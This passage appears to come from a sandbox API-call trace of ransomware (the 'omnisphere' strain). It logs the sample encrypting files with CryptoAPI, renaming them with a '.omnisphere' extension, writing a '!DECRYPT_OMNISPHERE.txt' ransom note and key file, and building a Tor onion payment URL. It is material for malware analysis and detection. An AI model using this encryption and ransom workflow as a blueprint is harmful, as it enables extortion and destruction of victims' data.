pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.010] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.013] CryptDestroyKey (hKey=0x16396a8) returned 1 [0069.013] CryptReleaseContext (hProv=0x163b970, dwFlags=0x0) returned 1 [0069.013] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x117db, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0069.013] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0069.013] GetProcessHeap () returned 0x1600000 [0069.013] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x284) returned 0x165fee0 [0069.013] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\u2ZUuS8-WjDeO2.wav" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\u2zuus8-wjdeo2.wav"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\u2ZUuS8-WjDeO2.wav.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\u2zuus8-wjdeo2.wav.omnisphere")) returned 1 [0069.014] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\u2ZUuS8-WjDeO2.wav.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\u2ZUuS8-WjDeO2.wav.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\u2ZUuS8-WjDeO2.wav.omnisphere.id" [0069.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\u2ZUuS8-WjDeO2.wav.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\u2zuus8-wjdeo2.wav.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0069.014] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0069.015] CloseHandle (hObject=0x3a8) returned 1 [0069.016] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0069.017] CloseHandle (hObject=0x3a4) returned 1 [0069.017] SetEndOfFile (hFile=0x3a0) returned 1 [0069.017] FlushFileBuffers (hFile=0x3a0) returned 1 [0069.020] CloseHandle (hObject=0x3a0) returned 1 [0069.021] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\u2ZUuS8-WjDeO2.wav" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0069.021] GetProcessHeap () returned 0x1600000 [0069.021] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165dc50 [0069.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0069.021] GetProcessHeap () returned 0x1600000 [0069.021] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641ae8 [0069.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641ae8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0069.021] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0069.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0069.021] GetProcessHeap () returned 0x1600000 [0069.021] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fb30 [0069.021] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fb30, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0069.021] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0069.021] GetProcessHeap () returned 0x1600000 [0069.021] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163b970 [0069.021] PathCombineW (in: pszDest=0x163b970, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0069.021] GetProcessHeap () returned 0x1600000 [0069.022] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1662a20 [0069.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.022] WriteFile (in: hFile=0x3a0, lpBuffer=0x1662a20*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1662a20*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0069.022] CloseHandle (hObject=0x3a0) returned 1 [0069.022] GetProcessHeap () returned 0x1600000 [0069.022] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165dc50 | out: hHeap=0x1600000) returned 1 [0069.022] GetProcessHeap () returned 0x1600000 [0069.022] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fd00 [0069.022] PathCombineW (in: pszDest=0x163fd00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0069.022] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.022] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0069.023] CloseHandle (hObject=0x3a0) returned 1 [0069.023] GetProcessHeap () returned 0x1600000 [0069.023] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fd00 | out: hHeap=0x1600000) returned 1 [0069.023] GetProcessHeap () returned 0x1600000 [0069.023] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f580 | out: hHeap=0x1600000) returned 1 [0069.023] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68fa6ab, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x68fa6ab, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa316705, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0xed, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0069.023] GetProcessHeap () returned 0x1600000 [0069.023] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x1640080 [0069.023] PathCombineW (in: pszDest=0x1640080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0069.023] StrStrW (lpFirst=".omnisphere", lpSrch=".key") returned 0x0 [0069.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0069.023] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=1440) returned 1 [0069.023] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x7c, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0069.023] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0069.023] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.024] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.025] GetTickCount () returned 0x1151895 [0069.026] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163bdb0) returned 1 [0069.026] CryptImportKey (in: hProv=0x163bdb0, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x16396a8) returned 1 [0069.026] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0069.026] CryptDestroyKey (hKey=0x16396a8) returned 1 [0069.026] CryptReleaseContext (hProv=0x163bdb0, dwFlags=0x0) returned 1 [0069.026] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x3a4 [0069.026] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x3430000 [0069.027] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163bdb0) returned 1 [0069.027] CryptImportKey (in: hProv=0x163bdb0, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639768) returned 1 [0069.027] CryptSetKeyParam (hKey=0x1639768, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0069.027] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0069.027] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.028] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0069.029] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, 